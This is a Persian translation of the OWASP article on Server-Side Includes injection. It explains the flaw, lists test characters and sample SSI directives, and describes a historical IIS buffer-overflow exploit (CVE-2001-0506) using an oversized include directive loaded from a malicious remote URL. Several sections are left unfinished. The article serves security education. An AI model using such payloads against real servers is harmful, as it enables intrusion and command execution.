به نام خدا

تزریق شاملیت سمت سرور

Serve-Side Includes (SSI) Injection

OWASP Attack Category

توضیحات:

یکی از سرویس هایی که برنامه های تحت وب برای تولید محتوای داینامیک برای صفحات HTML استفاده می کنند، SSI است. SSI تا حدود شبیه CGI است؛ با این تفاوت که در SSI می توان قبل از بالا آمدن صفحه یا زمانی که المان های گرافیکی در حال ساخته شدن اند، کارهایی را اجرا کرد. بنابراین وب سرورها قبل از عرضه ی صفحه به کاربر SSI را تحلیل و آنالیز می کنند.

در حمله ی شاملیت سمت سرور، اکسپلوییت می تواند اسکریپت هایی را در صفحه ی HTML اینجکت و یا کدهای مخرب را از راه دور اجرا کند. این کار به وسیله دستکاری SSI در زمان اجرا و در برنامه و یا با استفاده از فیلدهای ورودی که به کاربر داده می شود، اکسپلوییت می شود.

یکی از روش های بررسی کردن این موضوع که آیا برنامه ورودی ها را اعتبارسنجی می کند یا خیر، قرار دادن کارکترهای زیر -که در SSI برای کاربرد خاصی در نظر گرفته شده- در فیلدهای ورودی است:

```
< ! # = / . " - > and [a-zA-Z0-9]
```

راه دیگری که برای بررسی آسیب پذیری برنامه انجام می دهیم بررسی صفحات stm,shtm,shtml است که آیا درست اجرا می شوند و یا خیر. هر چند نبود این نوع از صفحات لزوما به معنای مقاوم بودن برنامه در برابر این آسیب پذیری نیست.

تحت هر شرایطی، در صورتی که وب سرور، صفحات SSI را بدون اعتبارسنجی مناسب اجرا کند، ممکن است این کار باعث آسیب پذیری آن در برابر حملات شود. که نتیجه ی این حمله، دسترسی و دستکاری فایل های سیستمی، پردازش ها و پروسه هایی است که امتیاز و مجوز آن ها با مجوز وب سرور یکسان و یا پایین تر است.

به وسیله ی این حمله، هکر می تواند به اطلاعات حساسی مثل فایل های محتوای پسورد دسترسی پیدا کند و یا فرمان (Command) اجرا کند. SSI به وسیله فیلدهای ورودی و داده هایی که توسط آن به وب سرور ارسال می کنیم، اینجکت می شود.

وب سرور قبل از اینکه صفحه را به کاربر عرضه کند موارد درخواست شده از SSI را پارس (parse) و سپس اجرا می کند. بنابراین نتایج حمله در دفعه ی بعدی که صفحه را بارگزاری می کردیم در مرورگر قابل مشاهده خواهد بود.

عوامل ریسک:

/*مطلب این بخش ناقص است*/

نمونه ها:

مثال ۱

دستوراتی که جهت تزریق SSI به کار می روند، بسیار متنوع بوده و بستگی به نوع سیستم عاملی دارد که سرور روی آن در حال اجراست. در ادامه به syntax دستوراتی که جهت اجرای دستورات روی OS لازم داریم، خواهیم پرداخت.

لینوکس:

لیست فایل های دایرکتوری: /*مطلب این بخش ناقص است*/

دایرکتوری های مجاز: /*مطلب این بخش ناقص است*/

ویندوز:

لیست فایل های دایرکتوری: /*مطلب این بخش ناقص است*/

دایرکتورهای مجاز:/*مطلب این بخش ناقص است*/

```
</nowiki>
```

نمایش نام فایل جاری:

```
<!--#echo var="DOCUMENT_NAME" -->
```

نمایش نام فایل و آدرس مجازی آن (Virtual Path):

```
<!--#echo var="DOCUMENT_URI" -->
```

با استفاده از دستور 'config' و پارامتر 'timefmt' می توانید روی فرمت خروجی زمان و تاریخ کنترل داشته باشید:

```
<!--#config timefmt="A %B %d %Y %r"-->
```

با استفاده از دستور 'fsize' می توانید سایز فایلی که انتخاب کرده اید را به دست آورید:

```
<!--#fsize file="ssi.shtml" -->
```

مثال ۳

یک آسیب پذیری قدیمی در نسخه های 4.0 و 5.0 وب سرور IIS وجود داشت که هکر با استفاده از سرریزبافری که در یکی از DLL ها به نام ssinc.dll رخ می داد، می توانست مجوز و امتیاز دسترسی در سطح دستورات سیستمی را به دست آورد. ssinc.dll جهت تفسیر پردازش مربوط به شاملیت سمت سرور یا همان SSI استفاده می شد. برای توضیحات بیشتر به CVE-2001-0506 مراجعه فرمایید.

ابتدا صفحه ی آلوده ی زیر که شامل قطعه کد SSI است را می سازیم و به وسیله ی ان می توانیم این حمله را پیاده سازی کنیم. (حمله ی پیمایش مسیر یا Path Traversal)

فایل ssi_over.shtml

```
<!--#include file="UUUUUUUU...UU"-->
```

توضیح: برای این که بافر، سرریز کند؛ تعداد 'U' ها می بایست بالای ۲۰۴۹ عدد باشد.

در مرحله ی بعد صفحه ی ssi_over.shtml را به وسیله ی برنامه ی آسیب پذیر اجرا می کنیم:

URL در شرایط عادی:

www.vulnerablesite.org/index.asp?page=news.asp

URL در شرایط آلوده:

www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

اگر IIS یک صفحه ی خالی را برگرداند به این معناست که سرریز یا همان overflow رخ داده است. در اینجا هکر با استفاده از تکنیک های سرریز بافر می تواند کد های خود را اجرا کند.

منابع:

http://www.comptechdoc.org/independent/web/cgi/ssimanual/ssiexamples.html

لینک مطلب: https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection

تاریخ ساخت: March 31, 2014 یا ۱۱ فروردین ۱۳۹۳

تاریخ تحقیق: Aug 5, 2014 یا ۱۴ مرداد ۱۳۹۳

/* تصحیح این مقاله، چه در ترجمه و چه در مباحث علمی ، توسط شما دوستان باعث خوشحالی خواهد بود. لطفا آن را با tamadonEH@gmail.com مطرح نمایید.*/

برای مشاهده لیست مقالات کار شده توسط گروه ما به لینک زیر مراجعه فرمایید

https://github.com/tamadonEH/list/blob/master/list.md